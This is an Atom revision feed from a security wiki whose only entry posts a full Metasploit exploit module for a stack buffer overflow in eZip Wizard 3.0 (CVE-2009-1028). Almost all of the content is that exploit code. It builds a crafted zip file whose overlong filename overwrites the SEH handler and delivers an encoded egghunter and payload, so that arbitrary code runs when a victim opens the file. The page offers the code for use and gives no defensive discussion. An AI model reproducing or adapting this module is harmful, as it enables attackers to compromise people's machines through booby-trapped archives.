<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=EZip_Wizard_3.0_%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>EZip Wizard 3.0 堆棧緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=EZip_Wizard_3.0_%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=EZip_Wizard_3.0_%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-19T13:24:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=EZip_Wizard_3.0_%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=687&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $ ##  ## # This file is part of the Metasploit Framework and may be subject to # redistribution an...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=EZip_Wizard_3.0_%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=687&amp;oldid=prev"/>
		<updated>2021-03-27T02:53:49Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $ ##  ## # This file is part of the Metasploit Framework and may be subject to # redistribution an...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
##&lt;br /&gt;
# This file is part of the Metasploit Framework and may be subject to&lt;br /&gt;
# redistribution and commercial restrictions. Please see the Metasploit&lt;br /&gt;
# Framework web site for more information on licensing and terms of use.&lt;br /&gt;
# http://metasploit.com/framework/&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
require 'msf/core'&lt;br /&gt;
require 'rex/zip'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
class Metasploit3 &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
	Rank = GoodRanking&lt;br /&gt;
&lt;br /&gt;
	include Msf::Exploit::FILEFORMAT&lt;br /&gt;
	include Msf::Exploit::Remote::Seh&lt;br /&gt;
	include Msf::Exploit::Remote::Egghunter&lt;br /&gt;
&lt;br /&gt;
	def initialize(info = {})&lt;br /&gt;
		super(update_info(info,&lt;br /&gt;
			'Name'           =&amp;gt; 'eZip Wizard 3.0 Stack Buffer Overflow',&lt;br /&gt;
			'Description'    =&amp;gt; %q{&lt;br /&gt;
					This module exploits a stack-based buffer overflow vulnerability in&lt;br /&gt;
				version 3.0 of ediSys Corp.'s eZip Wizard.&lt;br /&gt;
&lt;br /&gt;
				In order for the command to be executed, an attacker must convince someone to&lt;br /&gt;
				open a specially crafted zip file with eZip Wizard, and access the specially&lt;br /&gt;
				file via double-clicking it. By doing so, an attacker can execute arbitrary&lt;br /&gt;
				code as the victim user.&lt;br /&gt;
			},&lt;br /&gt;
			'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
			'Author'         =&amp;gt;&lt;br /&gt;
				[&lt;br /&gt;
					'fl0 fl0w',  #Initial discovery, poc&lt;br /&gt;
					'jduck',     #Metasploit&lt;br /&gt;
					'Lincoln',   #Complete Metasploit port&lt;br /&gt;
				],&lt;br /&gt;
			'Version'        =&amp;gt; '$Revision: 12428 $',&lt;br /&gt;
			'References'     =&amp;gt;&lt;br /&gt;
				[&lt;br /&gt;
					[ 'CVE', '2009-1028' ],&lt;br /&gt;
					[ 'OSVDB', '52815' ],&lt;br /&gt;
					[ 'BID', '34044' ],&lt;br /&gt;
					[ 'URL', 'http://www.edisys.com/' ],&lt;br /&gt;
					[ 'URL', 'http://www.exploit-db.com/exploits/8180' ],&lt;br /&gt;
					[ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],&lt;br /&gt;
				],&lt;br /&gt;
         'Platform'          =&amp;gt; [ 'win' ],&lt;br /&gt;
         'Payload'           =&amp;gt;&lt;br /&gt;
				{&lt;br /&gt;
					'EncoderType'   =&amp;gt; Msf::Encoder::Type::AlphanumMixed,&lt;br /&gt;
				},&lt;br /&gt;
			'Targets'        =&amp;gt;&lt;br /&gt;
				[&lt;br /&gt;
					['Windows Universal', { 'Offset' =&amp;gt; 58, 'Ret' =&amp;gt; 0x10020710 }],&lt;br /&gt;
				],&lt;br /&gt;
			'DisclosureDate' =&amp;gt; 'Mar 09 2009',&lt;br /&gt;
			'DefaultTarget'  =&amp;gt; 0))&lt;br /&gt;
&lt;br /&gt;
		register_options(&lt;br /&gt;
		 	[&lt;br /&gt;
				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),&lt;br /&gt;
				OptString.new('USERNAME', [ true, 'Username', ''])&lt;br /&gt;
			], self.class)&lt;br /&gt;
&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	def exploit&lt;br /&gt;
&lt;br /&gt;
		#These badchars do not apply to the final payload&lt;br /&gt;
		badchars = &amp;quot;\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e&amp;quot;&lt;br /&gt;
&lt;br /&gt;
		eggoptions = &lt;br /&gt;
		{&lt;br /&gt;
				:checksum =&amp;gt; true,&lt;br /&gt;
				:eggtag =&amp;gt; 'w00t' &lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)&lt;br /&gt;
&lt;br /&gt;
		[ 'x86/alpha_mixed'].each { |name|&lt;br /&gt;
	        	enc = framework.encoders.create(name)&lt;br /&gt;
				if name =~/alpha/&lt;br /&gt;
					enc.datastore.import_options_from_hash({ 'BufferRegister' =&amp;gt; 'ESP' })&lt;br /&gt;
				end&lt;br /&gt;
			hunter = enc.encode(hunter, nil, nil, platform)&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		#Username length affects our offset to hit SEH correctly&lt;br /&gt;
		if datastore['USERNAME'].length &amp;gt;= 9&lt;br /&gt;
			padding = rand_text_alpha(target['Offset'] - 8)&lt;br /&gt;
		else&lt;br /&gt;
			padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)&lt;br /&gt;
		end&lt;br /&gt;
&lt;br /&gt;
		fname  = padding&lt;br /&gt;
		fname &amp;lt;&amp;lt; &amp;quot;\x61\x61\x7a\x04&amp;quot;      #nseh, align + conditional jmp&lt;br /&gt;
		fname &amp;lt;&amp;lt; [target.ret].pack('V')  #seh&lt;br /&gt;
		fname &amp;lt;&amp;lt; &amp;quot;\x61&amp;quot; * 29             #align for hunter&lt;br /&gt;
		fname &amp;lt;&amp;lt; &amp;quot;\x58\x58\x41&amp;quot;          #align for hunter&lt;br /&gt;
		fname &amp;lt;&amp;lt; hunter&lt;br /&gt;
		fname &amp;lt;&amp;lt; egg&lt;br /&gt;
&lt;br /&gt;
		zip = Rex::Zip::Archive.new&lt;br /&gt;
		xtra = [0xdac0ffee].pack('V')&lt;br /&gt;
		comment = [0xbadc0ded].pack('V')&lt;br /&gt;
		zip.add_file(fname, xtra, comment)&lt;br /&gt;
&lt;br /&gt;
		# Create the file&lt;br /&gt;
		print_status(&amp;quot;Creating '#{datastore['FILENAME']}' file...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
		file_create(zip.pack)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>